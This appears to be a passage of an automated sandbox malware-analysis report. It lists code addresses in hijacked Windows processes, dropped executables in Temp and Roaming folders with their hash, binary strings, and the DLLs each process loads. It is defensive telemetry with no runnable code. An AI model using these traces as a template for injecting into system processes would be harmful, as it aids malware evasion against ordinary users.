Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486FACF3C	2_3_00007DF486FACF3C
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486FA3DE0	2_3_00007DF486FA3DE0
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EDBEC4	2_3_00007DF486EDBEC4
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F19E68	2_3_00007DF486F19E68
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486ED0C44	2_3_00007DF486ED0C44
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EEEC44	2_3_00007DF486EEEC44
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EC1BFC	2_3_00007DF486EC1BFC
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486FA7CF4	2_3_00007DF486FA7CF4
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F18BE8	2_3_00007DF486F18BE8
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EC4A14	2_3_00007DF486EC4A14
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F26B20	2_3_00007DF486F26B20
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F1A9C4	2_3_00007DF486F1A9C4
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F26A10	2_3_00007DF486F26A10
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F14A14	2_3_00007DF486F14A14
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EDD850	2_3_00007DF486EDD850
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486FA58AC	2_3_00007DF486FA58AC
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486FA78D8	2_3_00007DF486FA78D8
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F017C4	2_3_00007DF486F017C4
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486EE77A0	2_3_00007DF486EE77A0
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F0F954	2_3_00007DF486F0F954
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F0C7E8	2_3_00007DF486F0C7E8
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F9780C	2_3_00007DF486F9780C
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F26834	2_3_00007DF486F26834
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486F17860	2_3_00007DF486F17860
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_2_000002427BB70C5C	2_2_000002427BB70C5C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D852D00	6_2_0000018E5D852D00
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D84262C	6_2_0000018E5D84262C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D880D58	6_2_0000018E5D880D58
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D875578	6_2_0000018E5D875578
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D87959C	6_2_0000018E5D87959C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D874DB0	6_2_0000018E5D874DB0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D8414D0	6_2_0000018E5D8414D0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D866CE0	6_2_0000018E5D866CE0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D87ECAC	6_2_0000018E5D87ECAC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D85DCB4	6_2_0000018E5D85DCB4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D8863FC	6_2_0000018E5D8863FC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D870440	6_2_0000018E5D870440
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D856EF4	6_2_0000018E5D856EF4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D85C720	6_2_0000018E5D85C720
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D873F38	6_2_0000018E5D873F38
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D863E6C	6_2_0000018E5D863E6C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D86867C	6_2_0000018E5D86867C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D85BE88	6_2_0000018E5D85BE88
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D875E90	6_2_0000018E5D875E90
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D85F5E8	6_2_0000018E5D85F5E8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D86764C	6_2_0000018E5D86764C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D87F198	6_2_0000018E5D87F198
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D8758E0	6_2_0000018E5D8758E0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D87F908	6_2_0000018E5D87F908
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D860144	6_2_0000018E5D860144
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D87E94C	6_2_0000018E5D87E94C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D86705C	6_2_0000018E5D86705C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D874898	6_2_0000018E5D874898
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D87A7E4	6_2_0000018E5D87A7E4
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D85CFE0	6_2_0000018E5D85CFE0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D86D81C	6_2_0000018E5D86D81C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D88083C	6_2_0000018E5D88083C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D85E368	6_2_0000018E5D85E368
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D87CBBC	6_2_0000018E5D87CBBC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D84C254	6_2_0000018E5D84C254
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D855AAC	6_2_0000018E5D855AAC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D873A00	6_2_0000018E5D873A00
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D874A18	6_2_0000018E5D874A18
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D883A15	6_2_0000018E5D883A15
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D880238	6_2_0000018E5D880238
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Code function: 6_2_0000018E5D857240	6_2_0000018E5D857240
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_0040223E	11_2_0040223E
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_004025C5	11_2_004025C5
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_004025C5	13_2_004025C5
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_00305072	15_2_00305072
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_0032B06B	15_2_0032B06B
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_0032B18B	15_2_0032B18B
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_003265E0	15_2_003265E0
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_00307862	15_2_00307862
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_0031B892	15_2_0031B892
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_00304883	15_2_00304883
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_0032A919	15_2_0032A919
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_00326A78	15_2_00326A78
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_00309C03	15_2_00309C03
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: 15_2_0032BFC0	15_2_0032BFC0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF2198	17_2_00BF2198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BFC2F9	17_2_00BFC2F9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00C0B35C	17_2_00C0B35C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00C44438	17_2_00C44438
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00C0B97E	17_2_00C0B97E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00BF6E6A	17_2_00BF6E6A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00C15F08	17_2_00C15F08
Source: C:\Windows\explorer.exe	Code function: 20_2_009E1E20	20_2_009E1E20
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EB9A00	21_2_00EB9A00
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EFB06B	21_2_00EFB06B
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00ED5072	21_2_00ED5072
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EFB18B	21_2_00EFB18B
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EF65E0	21_2_00EF65E0
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00ED4883	21_2_00ED4883
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EEB892	21_2_00EEB892
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00ED7862	21_2_00ED7862
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EFA919	21_2_00EFA919
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EF6A78	21_2_00EF6A78
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00ED9C03	21_2_00ED9C03
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: 21_2_00EFBFC0	21_2_00EFBFC0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_004D170B	22_2_004D170B

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\B88B.exe 2FA632C146A49F8C954B231EBCC0DF2CCDBECD23797D084C423C0010F3380332
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe 2FA632C146A49F8C954B231EBCC0DF2CCDBECD23797D084C423C0010F3380332

Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: String function: 00301A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: String function: 002FBF00 appears 136 times
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Code function: String function: 003013C2 appears 67 times
Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 00BF8801 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: String function: 00ECBF00 appears 136 times
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: String function: 00ED1A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Code function: String function: 00ED13C2 appears 67 times

Source: e7CLP6462y.exe, 00000000.00000003.1716735626.0000000003C80000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1716669499.0000000003B10000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \[FileVersionProductVersionFileDescriptionCompanyNameProductNameOriginalFilenameInternalNameLegalCopyright vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1716128764.0000000003E86000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameKernelbase.dllj% vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1716476397.0000000003DDD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000000.1678541507.0000000000489000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamedevpas.exeJ vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1716669499.0000000003BA2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1716735626.0000000003C30000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \[FileVersionProductVersionFileDescriptionCompanyNameProductNameOriginalFilenameInternalNameLegalCopyright vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1716354790.0000000003C33000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1717061300.0000000003F11000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameKernelbase.dllj% vs e7CLP6462y.exe
Source: e7CLP6462y.exe, 00000000.00000003.1715329018.0000000003C88000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs e7CLP6462y.exe

Source: C:\Users\user\Desktop\e7CLP6462y.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e7CLP6462y.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: tapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.shell.broker.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\utihrjr	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B677.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\B677.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	Section loaded: duser.dll
